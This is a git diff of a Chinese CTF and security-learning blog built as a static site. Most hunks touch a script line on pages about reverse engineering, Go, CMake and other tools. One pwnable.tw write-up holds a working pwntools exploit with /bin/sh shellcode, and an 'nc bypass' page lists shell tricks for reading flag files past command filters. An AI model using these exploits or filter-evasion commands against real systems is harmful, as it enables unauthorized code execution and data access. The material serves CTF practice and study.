栈迁移是一种通过劫持程序栈指针(ESP 和 EBP)来绕过缓冲区限制的技术,常用于栈溢出攻击中。当缓冲区空间有限无法直接控制执行流时,栈迁移能够扩展攻击范围,通过迁移栈到可控的内存区域来实现更复杂的攻击。

核心概念

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/rev/base/index.html b/2024/10/24/rev/base/index.html index c65e09c65..80bc74be0 100644 --- a/2024/10/24/rev/base/index.html +++ b/2024/10/24/rev/base/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

逆向中的基本加密算法


偏移

原理

偏移加密主要是基于ASCII码表的偏移加密。

+document.addEventListener("pjax:complete", reset);reset()})

逆向中的基本加密算法


偏移

原理

偏移加密主要是基于ASCII码表的偏移加密。

我们都知道在C语言中字符按照ASCII码表进行编码。

偏移加密即是将明文对应的ASCII码进行加或减去一个值(偏移),取最后结果在ASCII码表中的值。

通过将偏移加密的密文再反向偏移,最后的值转换为字符就可得到明文。

@@ -130,4 +130,4 @@

1
2
3
4
5
6
7
8
data=[1022,1003,1003,1019,996,1014,979,976,904,970,1007,905,971,1007,971,904,1007,981,985,971,977,973,0,0,0,0,0,0,0,0,0,0]
flag=""
#循环为22,所以我们只取22个数据
for i in range(0,22):
#chr函数是将结果转换为ASCII编码
flag+=chr((data[i]-900)^0x34)
print(flag)
#结果:NSSCTF{x0r_1s_s0_easy}
-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/rev/base64/index.html b/2024/10/24/rev/base64/index.html index f8d5a0e29..a7c2748cb 100644 --- a/2024/10/24/rev/base64/index.html +++ b/2024/10/24/rev/base64/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

base64逆向加密算法分析


简介

base64编码根据编码表将一段二进制数据映射成64个可显示字母和数字组成的字符集合,主要用于传送图形、声音等非文本数据。

+document.addEventListener("pjax:complete", reset);reset()})

base64逆向加密算法分析


简介

base64编码根据编码表将一段二进制数据映射成64个可显示字母和数字组成的字符集合,主要用于传送图形、声音等非文本数据。

标准 base64 编码表

编码原理

原理

下面我们通过将明文 “abc” 进行 base64 编码来讲解 base64 编码原理。

1.首先将明文每三个字节分为一组,每个字节8bit,共24bit。

@@ -151,4 +151,4 @@

换表后言

参考链接:彻底弄懂base64的编码与解码原理 - 掘金 (juejin.cn)
参考链接:reverse逆向算法之base64和RC4_base64”和 rc4-CSDN博客

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/rev/flower-code/index.html b/2024/10/24/rev/flower-code/index.html index 1e855115c..c8bfb8b99 100644 --- a/2024/10/24/rev/flower-code/index.html +++ b/2024/10/24/rev/flower-code/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

花指令分析


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

花指令分析


\ No newline at end of file diff --git a/2024/10/24/rev/rc4/index.html b/2024/10/24/rev/rc4/index.html index d70f13d23..3ed2bdc96 100644 --- a/2024/10/24/rev/rc4/index.html +++ b/2024/10/24/rev/rc4/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

RC4加密算法逆向分析


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

RC4加密算法逆向分析


\ No newline at end of file diff --git a/2024/10/24/rev/re-lib/index.html b/2024/10/24/rev/re-lib/index.html index 24473b773..ae60076b2 100644 --- a/2024/10/24/rev/re-lib/index.html +++ b/2024/10/24/rev/re-lib/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

逆向中常用的Python库


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

逆向中常用的Python库


\ No newline at end of file diff --git a/2024/10/24/rev/smc/index.html b/2024/10/24/rev/smc/index.html index 07e5c6566..4fb8d355a 100644 --- a/2024/10/24/rev/smc/index.html +++ b/2024/10/24/rev/smc/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

SMC


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

SMC


\ No newline at end of file diff --git a/2024/10/24/rev/upx/index.html b/2024/10/24/rev/upx/index.html index 87834cc1c..e896dbbd5 100644 --- a/2024/10/24/rev/upx/index.html +++ b/2024/10/24/rev/upx/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

upx脱壳


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

upx脱壳


\ No newline at end of file diff --git a/2024/10/24/rev/z3/index.html b/2024/10/24/rev/z3/index.html index dbf0f2705..63b5dfe2f 100644 --- a/2024/10/24/rev/z3/index.html +++ b/2024/10/24/rev/z3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

z3


\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

z3


\ No newline at end of file diff --git a/2024/10/24/sundry/blockchain/index.html b/2024/10/24/sundry/blockchain/index.html index 9a8427ab9..b85006266 100644 --- a/2024/10/24/sundry/blockchain/index.html +++ b/2024/10/24/sundry/blockchain/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

区块链原理


+document.addEventListener("pjax:complete", reset);reset()})

区块链原理


永乐大帝视频的学习笔记

比特币

比特币是一种基于密码学的数字加密货币,它允许用户通过互联网进行安全的点对点交易。2008年10月31日,中本聪在网络上发表了一篇名为《比特币:一种点对点的电子现金系统》的文章,提出了一种去中心化的电子记账系统。这一系统的核心在于,它不依赖于中央银行或政府来管理和维护交易记录。

@@ -92,4 +92,4 @@

如果 A 同时向不同的接收者发送转账请求,网络通过检查交易记录来验证每笔交易的合法性,确保用户不会利用相同的比特币进行多次支付。

防止篡改

最长链原则

比特币网络中的所有节点根据最长链原则来维护账本。即,当出现多个区块时,节点将选择链条最长的作为有效链。这一原则确保了即使存在分叉情况,最终所有节点会达成共识,选择一致的账本。

防伪机制

通过工作量证明和区块链的结构设计,比特币系统能够有效抵御篡改风险。任何对区块链的修改都需要重新计算后续所有区块的哈希值,这在算力消耗上几乎不可能实现,从而确保比特币交易记录的不可篡改性。

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/sundry/cmake/index.html b/2024/10/24/sundry/cmake/index.html index 9c4376efd..c2547753a 100644 --- a/2024/10/24/sundry/cmake/index.html +++ b/2024/10/24/sundry/cmake/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

CMake学习


Hello World

1
2
3
4
5
6
7
8
9
10
11
12
#CMakeLists.txt

#指定支持的最低CMake版本
cmake_minimum_required(VERSION 3.5)

#指定项目名称
project (hello_cmake)

#指定应从指定的源文件构建可执行文件
#一个参数是要构建的可执行文件的名称,第二个参数是要编译的源文件列表。
add_executable(hello_cmake main.cpp)
# 简写方式add_executable(${PROJECT_NAME} main.cpp)
+document.addEventListener("pjax:complete", reset);reset()})

CMake学习


Hello World

1
2
3
4
5
6
7
8
9
10
11
12
#CMakeLists.txt

#指定支持的最低CMake版本
cmake_minimum_required(VERSION 3.5)

#指定项目名称
project (hello_cmake)

#指定应从指定的源文件构建可执行文件
#一个参数是要构建的可执行文件的名称,第二个参数是要编译的源文件列表。
add_executable(hello_cmake main.cpp)
# 简写方式add_executable(${PROJECT_NAME} main.cpp)

使用单独的源文件和头文件

CMake 语法指定了一些可以帮助查找项目或源树中有用目录的变量。其中一些包括:

@@ -160,4 +160,4 @@

2

1
2
3
4
5
6
7
8
9
10
11
12
13
# Set the minimum version of CMake that can be used
# To find the cmake version run
# $ cmake --version
cmake_minimum_required(VERSION 3.1)

# Set the project name
project (hello_cpp11)

# set the C++ standard to C++ 11
set(CMAKE_CXX_STANDARD 11)

# Add an executable
add_executable(hello_cpp11 main.cpp)

3

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# Set the minimum version of CMake that can be used
# To find the cmake version run
# $ cmake --version
cmake_minimum_required(VERSION 3.1)

# Set the project name
project (hello_cpp11)

# Add an executable
add_executable(hello_cpp11 main.cpp)

# set the C++ standard to the appropriate standard for using auto
target_compile_features(hello_cpp11 PUBLIC cxx_auto_type)

# Print the list of known compile features for this version of CMake
message("List of compile features: ${CMAKE_CXX_COMPILE_FEATURES}")
-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/sundry/powershell-cmd/index.html b/2024/10/24/sundry/powershell-cmd/index.html index 84f84fe57..5f12ff8a1 100644 --- a/2024/10/24/sundry/powershell-cmd/index.html +++ b/2024/10/24/sundry/powershell-cmd/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

cmd和powershell常用命令


因为上课的原因有所学习,现整理一下常用的powershell和cmd命令。

+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/system/system-1/index.html b/2024/10/24/system/system-1/index.html index fb051a0df..5af4f7dc6 100644 --- a/2024/10/24/system/system-1/index.html +++ b/2024/10/24/system/system-1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《操作系统真象还原》chapter1 环境搭建


+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/24/system/system-2/index.html b/2024/10/24/system/system-2/index.html index 6d2640eef..48e3ccc04 100644 --- a/2024/10/24/system/system-2/index.html +++ b/2024/10/24/system/system-2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

《操作系统真象还原》chapter2 MBR主引导记录


计算机的启动过程

    +document.addEventListener("pjax:complete", reset);reset()})
    \ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/program/c/c-oop/index.html b/2024/10/25/program/c/c-oop/index.html index 54fd26f14..c1b4e57a3 100644 --- a/2024/10/25/program/c/c-oop/index.html +++ b/2024/10/25/program/c/c-oop/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

C的面向对象编程


关于C面向对象编程的研究。

+document.addEventListener("pjax:complete", reset);reset()})

C的面向对象编程


关于C面向对象编程的研究。

前段时间在知乎上看到一篇文章,一个大佬说面向对象是一种思想,用C也可以写出很好的面向对象的程序。

文章链接: https://www.zhihu.com/question/30567850/answer/2602179225

@@ -67,4 +67,4 @@

于是让我产生了一点好奇,所以就研究了一下C如何进行面向对象编程。

通过结构体和函数指针来模拟面向对象编程。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// 定义一个结构体,模拟一个类
typedef struct Person {
char name[50];
int age;

// 成员函数(通过函数指针实现)
void (*setName)(struct Person*, const char*);
void (*setAge)(struct Person*, int);
void (*display)(const struct Person*);
} Person;

// 成员函数的实现
void setName(Person* p, const char* name) {
strncpy(p->name, name, sizeof(p->name) - 1);
p->name[sizeof(p->name) - 1] = '\0'; // 确保字符串结束符
}

void setAge(Person* p, int age) {
p->age = age;
}

void display(const Person* p) {
printf("Name: %s\n", p->name);
printf("Age: %d\n", p->age);
}

// 创建一个新的 Person 实例
Person* createPerson(const char* name, int age) {
Person* p = (Person*)malloc(sizeof(Person));
if (p != NULL) {
p->setName = setName;
p->setAge = setAge;
p->display = display;
p->setName(p, name);
p->setAge(p, age);
}
return p;
}

// 释放 Person 实例
void destroyPerson(Person* p) {
free(p);
}

int main() {
// 使用模拟的面向对象方式
Person* person = createPerson("Alice", 30);
person->display(person);

// 修改对象的属性
person->setName(person, "Bob");
person->setAge(person, 25);
person->display(person);

// 清理
destroyPerson(person);
return 0;
}
-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/program/go/go-chapter1/index.html b/2024/10/25/program/go/go-chapter1/index.html index 43828eb28..5e2929a85 100644 --- a/2024/10/25/program/go/go-chapter1/index.html +++ b/2024/10/25/program/go/go-chapter1/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Go chapter1


前言

因为最近这段时间被拉去打一个程序开发的比赛,所以花几天学了一下go语言。

+document.addEventListener("pjax:complete", reset);reset()})

Go chapter1


前言

因为最近这段时间被拉去打一个程序开发的比赛,所以花几天学了一下go语言。

接下来打算把学习go的笔记更一下,后面再写一些关于go的安全编程的内容。

基本结构

包和函数

1
2
3
4
5
6
7
package main()
import (
"fmt"
)
func main(){
fmt.Println("hello world")
}
@@ -315,4 +315,4 @@

后言

参考书籍:Go语言趣学指南
参考课程:Go语言编程快速入门(Golang)

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/program/go/go-chapter2/index.html b/2024/10/25/program/go/go-chapter2/index.html index 02dff001d..b6ef421e7 100644 --- a/2024/10/25/program/go/go-chapter2/index.html +++ b/2024/10/25/program/go/go-chapter2/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Go chapter2


实数

声明浮点类型变量

每个变量都有与之相关联的类型,其中声明和初始化实数变量就需要用到浮点类型。

+document.addEventListener("pjax:complete", reset);reset()})

Go chapter2


实数

声明浮点类型变量

每个变量都有与之相关联的类型,其中声明和初始化实数变量就需要用到浮点类型。

以下代码具有相同的作用,即使我们不为days变量指定类型,go编译器也会根据给定值推断出该变量的类型

1
2
3
days :=365.2425
var days=265.2425
var days float64=365.2425
@@ -392,4 +392,4 @@

后言

参考书籍:Go语言趣学指南
参考课程:Go语言编程快速入门(Golang)

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/program/go/go-chapter3/index.html b/2024/10/25/program/go/go-chapter3/index.html index 53ebfbfdd..eed4cc561 100644 --- a/2024/10/25/program/go/go-chapter3/index.html +++ b/2024/10/25/program/go/go-chapter3/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Go chapter3


函数

函数声明

我们通过阅读标准库的包中声明的函数来学习如何声明函数。

+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/program/go/go-chapter4/index.html b/2024/10/25/program/go/go-chapter4/index.html index 91f0f5da2..598904d2d 100644 --- a/2024/10/25/program/go/go-chapter4/index.html +++ b/2024/10/25/program/go/go-chapter4/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Go chapter4


劳苦功高的数组

声明数组并访问其元素

以下数组不多不少正好包含 8 个元素

+document.addEventListener("pjax:complete", reset);reset()})

Go chapter4


劳苦功高的数组

声明数组并访问其元素

以下数组不多不少正好包含 8 个元素

1
var planets [8]string

同一个数组中的每个元素都具有相同的类型,比如以上代码就是由 8 个字符串组成,简称字符串数组。

数组的长度可以通过内置的 len 函数确定。在声明数组时,未被赋值的元素将包含类型对应的零值。

@@ -226,4 +226,4 @@

后言

参考书籍:Go语言趣学指南
参考课程:Go语言编程快速入门(Golang)

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/program/go/go-chapter5/index.html b/2024/10/25/program/go/go-chapter5/index.html index 7bdc8fdde..c5cb716ef 100644 --- a/2024/10/25/program/go/go-chapter5/index.html +++ b/2024/10/25/program/go/go-chapter5/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Go chapter5


结构

为了将分散的零件组成一个完整的结构体,go提供了 struct 类型。

+document.addEventListener("pjax:complete", reset);reset()})

Go chapter5


结构

为了将分散的零件组成一个完整的结构体,go提供了 struct 类型。

struct 允许你将不同类型的东西组合在一起

声明结构

访问结构中字段的值或者为字段赋值都需要用到点标记法,也就是像代码中所示的那样,使用点连接变量名和字段名。

这跟C语言中的结构体很相似。

@@ -180,4 +180,4 @@

后言

参考书籍:Go语言趣学指南
参考课程:Go语言编程快速入门(Golang)

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/pwn/nc-bypass/index.html b/2024/10/25/pwn/nc-bypass/index.html index 98f8023de..7c749cfdf 100644 --- a/2024/10/25/pwn/nc-bypass/index.html +++ b/2024/10/25/pwn/nc-bypass/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

nc绕过


cat $flag

+document.addEventListener("pjax:complete", reset);reset()})

nc绕过


cat $flag

“”切割cat
$ IFS $代表空格
f*,所有开头文件

1
ca ""t$IFS$f*
@@ -75,4 +75,4 @@

结合在一起,这个命令的意思是:将所有匹配 fla* 的文件内容反向显示,然后将输出内容重定向到标准错误输出。

通过将文件内容读取到一个变量,然后输出这个变量的内容间接输出文件内容。

1
read -r line < flag && echo "$line"
-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/rev/linux-anti-debug/index.html b/2024/10/25/rev/linux-anti-debug/index.html index 9bab679ae..5512d2f03 100644 --- a/2024/10/25/rev/linux-anti-debug/index.html +++ b/2024/10/25/rev/linux-anti-debug/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

linux反调试


反调试技术是为了防止调试器对程序进行调试和逆向工程。在 Linux 环境中,反调试技术主要利用系统调用、信号处理以及特殊的汇编指令来实现。

+document.addEventListener("pjax:complete", reset);reset()})

linux反调试


反调试技术是为了防止调试器对程序进行调试和逆向工程。在 Linux 环境中,反调试技术主要利用系统调用、信号处理以及特殊的汇编指令来实现。

接下来我们介绍一下 Linux 下常见的反调试技术。

利用getppid

在Linux上要跟踪一个程序,必须是它的父进程才能做到,因此,如果一个程序的父进程不是意料之中的bash等(而是gdb,strace之类的),那就说明它被跟踪。

只能检测到gdb调试

@@ -107,4 +107,4 @@

后言

参考链接:kirschju/debugmenot: Collection of simple anti-debugging tricks for Linux (github.com)
参考链接:

-

\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/rev/tea/index.html b/2024/10/25/rev/tea/index.html index 09a4d51c1..58bbaef51 100644 --- a/2024/10/25/rev/tea/index.html +++ b/2024/10/25/rev/tea/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

TEA系加密算法分析


TEA

XTEA

XXTEA

\ No newline at end of file +document.addEventListener("pjax:complete", reset);reset()})

TEA系加密算法分析


TEA

XTEA

XXTEA

\ No newline at end of file diff --git a/2024/10/25/rev/windows-anti-debug/index.html b/2024/10/25/rev/windows-anti-debug/index.html index f635a04f6..035ac9df8 100644 --- a/2024/10/25/rev/windows-anti-debug/index.html +++ b/2024/10/25/rev/windows-anti-debug/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Windows反调试


反调试技术,恶意代码用它识别是否被调试,或者让调试器失效。恶意代码编写者意识到分析人员经常使用调试器来观察恶意diamond的操作,因此他们使用反调试技术尽可能地延长恶意代码的分析时间。为了阻止调试器的分析,当恶意代码意识到自己被调试时,他们可能改变正常的执行路径或者自身程序让自己崩溃,从而增加调试时间和复杂度。很多种反调试技术可以达到反调试效果。

+document.addEventListener("pjax:complete", reset);reset()})

Windows反调试


反调试技术,恶意代码用它识别是否被调试,或者让调试器失效。恶意代码编写者意识到分析人员经常使用调试器来观察恶意diamond的操作,因此他们使用反调试技术尽可能地延长恶意代码的分析时间。为了阻止调试器的分析,当恶意代码意识到自己被调试时,他们可能改变正常的执行路径或者自身程序让自己崩溃,从而增加调试时间和复杂度。很多种反调试技术可以达到反调试效果。

使用Windows API

使用Windows API函数检测调试器是否存在是最简单的反调试技术。Windows操作系统中提供了这样一些API,应用程序可以通过调用这些API,来检测自己是否正在被调试。这些API中有些是专门用来检测调试器的存在的,而另外一些API是出于其他目的而设计的,但也可以被改造用来探测调试器的存在。其中很小部分API函数没有在微软官方文档显示。通常,防止恶意代码使用API进行反调试的最简单的办法是在恶意代码运行期间修改恶意代码,使其不能调用探测调试器的API函数,或者修改这些API函数的返回值,确保恶意代码执行合适的路径。与这些方法相比,较复杂的做法是挂钩这些函数,如使用rootkit技术。

IsDebuggerPresent

IsDebuggerPresent查询进程环境块(PEB)中的IsDebugged标志。如果进程没有运行在调试器环境中,函数返回0;如果调试附加了进程,函数返回一个非零值。

函数原型

@@ -91,4 +91,4 @@

TLS回调

参考链接:Windows平台常见反调试技术梳理(上)-安全客 - 安全资讯平台 (anquanke.com)
参考链接:[原创]反调试技术总结-软件逆向-看雪-安全社区|安全招聘|kanxue.com
参考链接:【CTF-Reverse】IDA动态调试,反调试技术_ida 动态调试-CSDN博客

-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/sundry/docker/index.html b/2024/10/25/sundry/docker/index.html index a53b58d9e..efac17b64 100644 --- a/2024/10/25/sundry/docker/index.html +++ b/2024/10/25/sundry/docker/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

docker


查看镜像

\ No newline at end of file diff --git a/2024/10/25/sundry/git/index.html b/2024/10/25/sundry/git/index.html index 42b882541..096875a76 100644 --- a/2024/10/25/sundry/git/index.html +++ b/2024/10/25/sundry/git/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

git


本地操作

创建项目

+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/wp/chun/index.html b/2024/10/25/wp/chun/index.html deleted file mode 100644 index 37328da8b..000000000 --- a/2024/10/25/wp/chun/index.html +++ /dev/null @@ -1,62 +0,0 @@ -2024春秋杯夏季赛 | 南行

2024春秋杯夏季赛


pwn

re

snack

HardSignin

BEDTEA

\ No newline at end of file diff --git a/2024/10/25/wp/moe/index.html b/2024/10/25/wp/moe/index.html index a5c710d4e..ff3159901 100644 --- a/2024/10/25/wp/moe/index.html +++ b/2024/10/25/wp/moe/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

2024moectf


pwn

NotEnoughTime

本题考察 Pwntools 基本⽤法,虽然是简单的计算加减乘除,但是在输出算式时刻意添加延迟营造⽹络卡顿环境,并且算式存在多⾏情况,意在引导使⽤ recvuntil 。注意在使⽤Python eval 前需要去除多⾏算式中的\n以及末尾的=以符合 Python 语法。除法是整数除法,在 Python 语法中为 // 。⽐赛期间注意到很多选⼿把除法看作浮点数运算,由s此触发了许多奇怪的 bug(出题时并没
有考虑到会有浮点数输⼊的情况)。于是临时新增了⼀个提⽰。

+document.addEventListener("pjax:complete", reset);reset()})

2024moectf


pwn

NotEnoughTime

本题考察 Pwntools 基本⽤法,虽然是简单的计算加减乘除,但是在输出算式时刻意添加延迟营造⽹络卡顿环境,并且算式存在多⾏情况,意在引导使⽤ recvuntil 。注意在使⽤Python eval 前需要去除多⾏算式中的\n以及末尾的=以符合 Python 语法。除法是整数除法,在 Python 语法中为 // 。⽐赛期间注意到很多选⼿把除法看作浮点数运算,由s此触发了许多奇怪的 bug(出题时并没
有考虑到会有浮点数输⼊的情况)。于是临时新增了⼀个提⽰。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io

sla(b"=",b"2")
sla(b"=",b"0")
ru(b"!")

for _ in range(20):
sl(
str(
eval(
ru(b"=")
.replace(b"\n",b"")
.replace(b"=",b"")
.replace(b"/",b"//")
.decode()
)
).encode()
)
ia()

no_more_gets

1

@@ -81,4 +81,4 @@

NX_on!

Moeplane

LoginSystem

Catch_the_canary!

shellcode_revenge

Pwn_it_off!

return 15

#srop

1

-

VisibleInput

System_not_found!

Read_once_twice!

Where is fmt?

Got it!

栈的奇妙之旅

One Chance!

Goldenwing

luosh

re

Xor

upx

dynamic

upx-revenge

xtea

d0tN3t

rc4

xxtea

TEA

逆向工程进阶之北

moedaily

moejvav

sm4

ezMAZE

Just-Run-It

SecretModule

Cython-Strike: Bomb Defusion

SMCProMax

ezMAZE-彩蛋

xor(大嘘)

babe-z3

BlackHole

moeprotector

特工luo: 闻风而动

特工luo: 深入敌营

\ No newline at end of file +

VisibleInput

System_not_found!

Read_once_twice!

Where is fmt?

Got it!

栈的奇妙之旅

One Chance!

Goldenwing

luosh

re

Xor

upx

dynamic

upx-revenge

xtea

d0tN3t

rc4

xxtea

TEA

逆向工程进阶之北

moedaily

moejvav

sm4

ezMAZE

Just-Run-It

SecretModule

Cython-Strike: Bomb Defusion

SMCProMax

ezMAZE-彩蛋

xor(大嘘)

babe-z3

BlackHole

moeprotector

特工luo: 闻风而动

特工luo: 深入敌营

\ No newline at end of file diff --git a/2024/10/25/wp/new/index.html b/2024/10/25/wp/new/index.html index 8c24a3f05..2f3ed6c68 100644 --- a/2024/10/25/wp/new/index.html +++ b/2024/10/25/wp/new/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

2024Newstar


pwn

week1

giaopwn

64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。

+document.addEventListener("pjax:complete", reset);reset()})

2024Newstar


pwn

week1

giaopwn

64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。

通过栈溢出漏洞劫持执行流,通过pop_rdicat flag字符串弹入rdi寄存器作为system参数,然后返回执行system函数。

加的ret指令是为了栈平衡。

exp

@@ -85,4 +85,4 @@

ezfmt

< -

week2

week3

re

week1

week2

week3

\ No newline at end of file +

week2

week3

re

week1

week2

week3

\ No newline at end of file diff --git a/2024/10/25/wp/pwnable-tw/index.html b/2024/10/25/wp/pwnable-tw/index.html index f2d7a1e91..94bc4d467 100644 --- a/2024/10/25/wp/pwnable-tw/index.html +++ b/2024/10/25/wp/pwnable-tw/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

pwnable.tw


start

    +document.addEventListener("pjax:complete", reset);reset()})

    pwnable.tw


    start

    1. 查保护

    没有任何保护

    @@ -82,4 +82,4 @@
  1. 构造exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
from pwncli import *
cli_script()

io: tube = gift.io
elf: ELF = gift.elf

shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
print(len(shellcode))

buf_addr=0x8048087
off=20

def leak():
r()
payload=b'a'*off+p32(buf_addr)
s(payload)
k=r(4)
return u32(k)

def get_pwn(addr):
payload=b'a'*off+p32(addr+off)+shellcode
s(payload)
ia()

buf_sta=leak()
print("buf stack address is:",buf_sta)
get_pwn(buf_sta)
-
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/wp/reverse-kr/index.html b/2024/10/25/wp/reverse-kr/index.html index 24c52e727..8618b304e 100644 --- a/2024/10/25/wp/reverse-kr/index.html +++ b/2024/10/25/wp/reverse-kr/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

Reverse.Kr


Easy Crack

运行程序随意输入信息

+document.addEventListener("pjax:complete", reset);reset()})
\ No newline at end of file +
\ No newline at end of file diff --git a/2024/10/25/wp/yl/index.html b/2024/10/25/wp/yl/index.html index ea959fd07..b7a7b3620 100644 --- a/2024/10/25/wp/yl/index.html +++ b/2024/10/25/wp/yl/index.html @@ -10,7 +10,7 @@ font-family: 'JetBrains Mono'; src: local('JetBrains Mono'), url('/font/JetBrainsMono-Regular.woff2') format('woff2'); } -

2024源鲁杯


pwn

week1

giaopwn

64位无脑栈溢出,通过vuln中的read函数像buf中写入大量数据,超出buf变量的长度导致rbp和返回地址被覆盖。

